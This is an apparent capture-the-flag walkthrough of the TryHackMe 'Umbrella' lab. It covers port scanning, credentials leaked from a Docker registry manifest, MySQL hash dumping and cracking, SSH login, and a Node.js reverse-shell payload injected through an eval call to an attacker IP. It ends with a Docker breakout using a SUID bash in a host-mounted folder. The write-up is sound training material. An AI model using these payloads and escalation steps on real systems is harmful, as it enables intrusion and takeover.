> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/umbrella.md).

# Umbrella

**Room Link:** <https://tryhackme.com/r/room/umbrella>

## **Scans**

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FY8D8RU3vNUIki2SREs4u%2Fimage.png?alt=media&amp;token=17e0f384-4696-4d92-a7b2-5a73b9c1e745" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEzFnrH1ASsbaDi9RnuIx%2Fimage.png?alt=media&amp;token=58350e21-079e-4cd2-bfe9-c23221bb6d70" alt=""><figcaption></figcaption></figure>

## **TCP/5000 - Docker Registry**

**List repositories**

**Kali**

```
curl -s http://$VICTIM:5000/v2/_catalog
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQ4XJroH5t4v2YL3lUaGx%2Fimage.png?alt=media&amp;token=ec1a4753-556a-4320-8c81-e8c58766d1aa" alt=""><figcaption></figcaption></figure>

**Get tags of a repository**

**Kali**

```
curl -s http://$VICTIM:5000/v2/umbrella/timetracking/tags/list
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYu3S4l5jrp2PcdmidJWA%2Fimage.png?alt=media&amp;token=15df938e-756f-4142-b51d-40e0c4aaf593" alt=""><figcaption></figcaption></figure>

**Get manifests**

Inside the manifest we find potential credentials

**Kali**

```
curl -s http://$VICTIM:5000/v2/umbrella/timetracking/manifests/latest
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzK0mUMBdQnsG9WECtoff%2Fimage.png?alt=media&amp;token=43d94d52-ffde-4a0f-a32e-4db8fad089f7" alt=""><figcaption></figcaption></figure>

## **TCP/3306 - MySQL**

**Kali**

```
apt install mysql-client-core-5.7 
mysql -h $VICTIM -u root -p'Ng1-f3!Pe7-e5?Nf3xe5'
```

**Kali(mysql)**

```
show databases;
use timetracking;
show tables;
select * from users;
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FcqU3ERAbxnBAK3wHBbgZ%2Fimage.png?alt=media&amp;token=548c8833-b1c3-4c81-bc0d-c2587483a3d0" alt=""><figcaption></figcaption></figure>

**Kali**

```
wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py  
python3 hash-id.py 2ac9cb7dc02b3c0083eb70898e549b63
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYnkVjpLhJ5NJyXcn928s%2Fimage.png?alt=media&amp;token=f8ffcdca-5e62-421b-b604-23f120a123b3" alt=""><figcaption></figcaption></figure>

**hash.txt**

```
claire-r:2ac9cb7dc02b3c0083eb70898e549b63
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7
jill-v:d5c0607301ad5d5c1528962a83992ac8
barry-b:4a04890400b5d7bac101baace5d7e994
```

**Kali**

```
john --format=raw-md5 hash.txt 
john --format=raw-md5 hash.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjYfGeRBFlksxnDddNXAD%2Fimage.png?alt=media&amp;token=8b404569-9539-4156-b904-7203ebe962a2" alt=""><figcaption></figcaption></figure>

**output**

```
claire-r:Password1
chris-r:letmein
jill-v:sunshine1
```

## **TCP/22 - SSH**

**Kali**

```
ssh claire-r@$VICTIM
Password: Password1 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHaaDvuNZr4YMZRbZ7xBH%2Fimage.png?alt=media&amp;token=6075abc8-2266-4ee1-8ce3-525d045ffa0d" alt=""><figcaption></figcaption></figure>

## Privilege Escalation&#x20;

In Claire's home directory we see the files that host the website. We can see the timeCalc uses the eval statement which is vulnerable.

**Victim**

```
cd /home/claire-r/timeTracker-src
cat app.js
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYhjqsuIhSUmnP0FLHDBg%2Fimage.png?alt=media&amp;token=e382a2f0-9afe-427d-b33a-994a8124395e" alt=""><figcaption></figcaption></figure>

### **TCP/80:443 - HTTP(s)**

**Kali**

```
nc -lvnp 1337
```

**Login**

```
Username: claire-r
Password:Password1
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzoZKbgj5S0Ch1UJ1Gn5Y%2Fimage.png?alt=media&amp;token=cbd8ae17-d7a9-4be3-a17d-2acbc0223234" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoMw1sgy1rtKD3F2ZR0wN%2Fimage.png?alt=media&amp;token=3a9a9320-6aab-4ad2-9403-1bd30ed73698" alt=""><figcaption></figcaption></figure>

**Payload**

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.245.149", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Foon8O7E6brZjj1mt6Pbk%2Fimage.png?alt=media&amp;token=537f8049-3b59-445c-ab7c-d9cfde1dce48" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F71HUKOp4V6IyrGkiz0sO%2Fimage.png?alt=media&amp;token=3f09e182-9968-446b-a878-321572ab2b02" alt=""><figcaption></figcaption></figure>

Full TTY Shell

```
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FX4akAYmyL4aj30zFc597%2Fimage.png?alt=media&amp;token=79582271-54ba-4432-aa88-5a8f8ffc9c8e" alt=""><figcaption></figcaption></figure>

## Docker Breakout

**Exploit:** <https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation>

### Privilege Escalation with 2 shells and host mount

If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder. You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.

**Victim(root)**

```
find / -name "tt.log"
cd /logs
cp /bin/bash . 
chown root:root bash
chmod 4777 bash
```

**Victim(claire-r)**

```
find / -name "tt.log"
cd /home/claire-r/timeTracker-src/logs
./bash -p 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5CFVr45lsodnAj7doeQK%2Fimage.png?alt=media&amp;token=bb2c6a42-8d3e-4bcb-8427-bec7abac936d" alt=""><figcaption></figcaption></figure>
